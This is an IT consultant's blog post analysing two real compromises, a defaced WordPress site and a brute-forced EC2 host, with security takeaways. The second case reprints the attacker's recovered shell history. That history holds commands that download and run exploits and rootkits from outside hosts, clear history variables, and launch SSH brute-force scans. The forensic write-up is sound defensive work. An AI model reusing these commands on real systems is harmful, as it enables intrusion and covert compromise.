-1.png?width=350&height=117&name=iuvo_logo_blue_Transparent%20(1)-1.png){kind=logo}
by Bryon D Beilman
As IT consultants we get asked to help with network and computer related security issues. It is rare (but refreshing) that we get asked to evaluate the current state of security and help them discover vulnerabilities before the bad guys do. Over the past few months, we have investigated a few compromises that were interesting.In one case, the hacker wanted notoriety, and the other case , they wanted to compromise more targets.
Scenario one: Owned by Skywalker
User is running a web business utilizing a well known hosting company. Their website is interactive and utilizes a few PHP based Content Management Systems (CMS), drupal and Wordpress. Their site change from an elegant site to the below. The below screenshot does not capture the true effort of the hacker named Sky-walker. It was full of animated gifs and text moving in and out. It was attention grabbing.
The web hosting site had good security measures in place. The access to this site was through FTP and the PHP code for WordPress. The WordPress software had not been updated in 4 years, nor was any security vulnerability testing done on any of the PHP code. The site was done well by an outside company and after that this person could effectively use the dynamic publishing function to run their business, so there was, at the time, no reason to change the code.
The site was recovered, code updated and passwords locked down. Analysis of the logs helped discover the vulnerability. The takeaway from the hack of this site.
- Use good Passwords (esp for unencrypted protocols like ftp).
- Avoid FTP (and other unencrypted protocols) if you can. If your provider supports sftp or anything encrypted to transfer files, use it.
- Keep your code up to date. CMS code is no different than updating your computer. Since much of it may be open source and PHP based, alot of hackers can find vulnerabilities, so close the holes before they find them.
- Backup early and often. Having good backups of your website files and database is very important. If it is hosted, there are ways to automate this and keep the files in an alternate location.
Scenario two: Even The Romanians like the Simpsons
In the next instance, the site was going to go live, but was not there yet. The person was building it on an Amazon EC2 instance. Amazon reported that they were seeing port scans from this host to other hosts. Logging on to the host a preliminary analysis using netstat ,lsof did not show anything anomalous. Installing and running root kit analysis programs was also not that fruitful. The host based firewall was configured to only allow specific ports (for the service being delivered), but also included ssh.
The log files, however gave a clue
/var/log/messages: host kernel: [2985475.292985] scanssh[25512]: segfault at 9332000 ip 080487f9 sp bfdd8a00 error 6 in scanssh[8048000+cc000]
Spending time analyzing the system, I found a hidden directory.
/var/tmp/.../gosh
This was a great find, those of you who don't know UNIX/LINUX. The "." files are hidden files and the "." directory means, the current directory, the ".." directory indicates the parent directory and the "..." or "...." directories do not mean anything, they just don't catch your eye when you look at the directory.
What was in the directory? Well the hacker's tools of course?
drwxr-xr-x 2 usr usr 4096 Dec 4 10:19 ./
drwxr-xr-x 3 usr usr 4096 Dec 3 18:30 ../
-rwxr-xr-x 1 usr usr 14 Nov 29 2010 1*
-rwxr-xr-x 1 usr usr 15 Nov 29 2010 2*
-rwxr-xr-x 1 usr usr 16 Nov 29 2010 3*
-rwxr-xr-x 1 usr usr 12 Nov 29 2010 4*
-rwxr-xr-x 1 usr usr 11 Nov 29 2010 5*
-rwxr-xr-x 1 usr usr 1287 Feb 10 2009 a*
-rwxr-xr-x 1 usr usr 22354 Dec 1 2004 common*
-rwxr-xr-x 1 usr usr 265 Nov 24 2004 gen-pass.sh*
-rwxr-xr-x 1 usr usr 94 Jul 26 2008 go.sh*
-rw-r--r-- 1 usr usr 1588217 Dec 4 10:18 mfu.txt
-rw-r--r-- 1 usr usr 25507 Nov 30 16:03 pass_file
-rwxr-xr-x 1 usr usr 21407 Jul 21 2004 pscan2*
-rwxr-xr-x 1 usr usr 4822 Nov 25 2010 scam*
-rwxr-xr-x 1 usr usr 302240 Nov 25 2010 screen*
-rw-r--r-- 1 usr usr 1320850 Dec 4 11:36 screenlog.0
-rwxr-xr-x 1 usr usr 197 Aug 23 2005 secure*
-rwxr-xr-x 1 usr usr 453972 Jul 12 2004 ss*
-rwxr-xr-x 1 usr usr 842736 Nov 24 2004 ssh-scan*
-rw-r--r-- 1 usr usr 83 Dec 3 21:53 vuln.txt
What did they do?
Well, they were not that sophisticated, and I edited out their typos which will be included below. Essentially they did the following:
- Download and compile some tools to the compromised host in the hidden directory.
- Stage one was to try to get into root, elevate privileges and compromise host
- Second stage was to compile scan tools to try and and find other hosts to compromise
- Port scan and ran brute force password trials on other hosts in their attack lists.
- Lather , rinse, repeat
A Deeper Look:
Download tools to try and elevate privileges (ie , get root). They downloaded some tools from 4-5 places where they had things stashed away, compiled them, ran the tools and when they didn't work, removed them. We were able to download and try the same tools , which let us verify that they didn't work on our particular host.
6 18:28 uname -a
7 18:29 cd /tmp ; mkdir ... ; cd ...
8 18:29 wget www.tux-planet.fr/public/hack/exploits/kernel/nelson.c ; gcc -o nelson nelson.c ; ./nelson
9 18:29 unset HISTFILE HISTSAVE HISTZONE HISTLOG HISTORY WATCH
10 18:29 wget http://www.drugs.altervista.org/1.tgz ; tar zxvf 1.tgz ; rm -rf 1.tgz ; cd ivr ; chmod +x * ; ./dude.sh ; ./max.sh ; ./pwn.sh ; ./linux ; ./new ; ./2010
11 18:29 wget http://www.kidu.go.ro/x86.sh ; chmod +x x86.sh ; ./x86.sh
12 18:29 wget http://drugs.altervista.org/a.x ; chmod +x a.x ; ./a.x ; rm -rf a.x ; cd /tmp ; rm -rf ...
13 18:30 cd ~
15 18:30 wget http://www.kidu.go.ro/r00t.tar ; tar xvf r00t.tar ; chmod +x * ; ./r00t
16 18:30 ls
17 18:30 rm -rf *
This next attempt was interesting to me. They hide tools in a file called g.jpg (again, to alleviate suspicion ). Untar /gunzip the jpg and then start to use the tools to scan other hosts.
31 18:30 cd /var/tmp ; mkdir ... ; cd ... ; wget claubv.99k.org/g.jpg ; tar zxvf g.jpg ; rm -rf g.jpg ; cd gosh ; chmod +x * ; wget claudinbv.altervista.org/pass_file12 ; mv pass_file12 pass_file
32 18:30 screen -L
33 18:30 wget claudinbv.altervista.org/tari1
34 18:30 mv tari1 mfu.txt
35 18:30 ./ssh-scan 300
36 18:40 cat screenlog.0 | grep rins
37 18:40 screen -r
36 18:40 cat screenlog.0 | grep rins
37 18:40 screen -r
38 18:40 screen -r
39 19:45 ls
40 19:45 cat mfu.txt
41 19:45 wget claudinbv.altervista.org/tari1
42 19:45 cat tari1
43 19:46 rm -rf tari1
44 19:46 screen -r
45 21:16 exit
46 0:55 w
47 6:56 unset HISTFILE HISTSAVE HISTZONE HISTLOG HISTORY WATCH
48 6:56 cd /var/tmp/.../gosh
49 6:56 screen -r
50 6:56 cat screenlog.0 | grep rins
51 6:56 screen -r
52 6:58 wget claudinbv.altervista.org/sloboz2 ; rm -rf mfu.txt ; mv sloboz2 mfu.txt ; ./ssh-scan 300
53 7:00 screen -r
54 7:07 ls
55 7:07 cat mfu.txt
56 7:08 wc -l mfu.txt
57 7:08 ./ssh-scan 100
58 7:32 ls
59 7:32 rm -rf mfu.txt
60 7:32 wget claudinbv.altervista.org/sloboz3 ; rm -rf mfu.txt ; mv sloboz3 mfu.txt ; ./ssh-scan 300
61 8:02 nc 0l 1111
62 8:02 nc -l 1111
63 8:46 wget claudinbv.altervista.org/sloboz3 ; rm -rf mfu.txt ; mv sloboz3 mfu.txt ; ./ssh-scan 100
64 9:26 cat mfu.txt
65 9:26 ls
66 9:29 wget claudinbv.altervista.org/sloboz4 ; rm -rf mfu.txt ; mv sloboz4 mfu.txt ; ./ssh-scan 100
67 9:30 screen -r
68 10:08 ls
69 10:08 rm -rf mfu.txt
70 10:19 wget claudinbv.altervista.org/65 ; mv 65 mfu.txt ; ./ssh-scan 300
71 11:36 ls
72 11:36 exit
73 11:36 cd ..
74 11:36 cd ..
75 11:36 rm -rf gosh
76 11:36 exit
77 21:14 unset HISTFILE HISTSAVE HISTZONE HISTLOG HISTORY WATCH
78 21:14 cd /var/tmp ; wget claudinbv.altervista.org/s.tgz ; tar zxvf s.tgz ; rm -rf s.tgz ; cd .s ; chmod +x *
79 21:14 screen
**Note: the nn.nn's were changed to protect the IP's of those being scanned for this article.
80 21:14 ./x nn.nn
81 21:18 ./x nnn.nnn
82 21:24 ./x nn.nn
83 21:30 cd ..
84 21:30 rm -rf .s
85 21:30 cd /var/tmp ; wget claudinbv.altervista.org/s.tgz ; tar zxvf s.tgz ; rm -rf s.tgz ; cd .s ; chmod +x *
86 21:30 ./x nn.nnn
87 21:31 ./x nnn.nn
88 21:46 ./x nn.nn
89 21:53 exit
90 21:53 cd ..
91 21:53 rm -rf .s
92 21:53 exit
They ran the scans, perhaps copied the results and went to the next host.
Post Analysis
Since the compromise was discovered, and the attacker did not get root, they could not cover up or delete the logs. Even the attempt to unset HISTFILE did not remove the history file. Looking at the log file, it was clear that the 10's of thousands of attempts on ssh login was able to exploit a weak password. Firewalls, encrypted protocols and locked down files and permissions were all thwarted by a weak password and brute force trying of passwords to ssh.
So what does this all have to do with the Simpsons?
There were two interesting expressions buried in some of the log files and code we reviewed.
Toata dragostea mea pentru diavola!!!!!! - Interestingly enough, this is Romanian. It means approximately "All my love is for the devil". ...
The other nugget was in a piece of code that was found. I found a rough translation for most of it, which didn't make much sense. The last word.... Pure Homer Simpson.
echo # Ciudat ..Nu Ai Urmat Instructiunile #
echo # trebui dat mv assh a sau mv scan a #
echo # orice ai avea tu ... dohh ..
Needless to say, the site was secured, locked down and measures put on the site so that it wouldn't happen again. Getting this kind of data about what they did is not always available, and worth sharing.
"Dohh"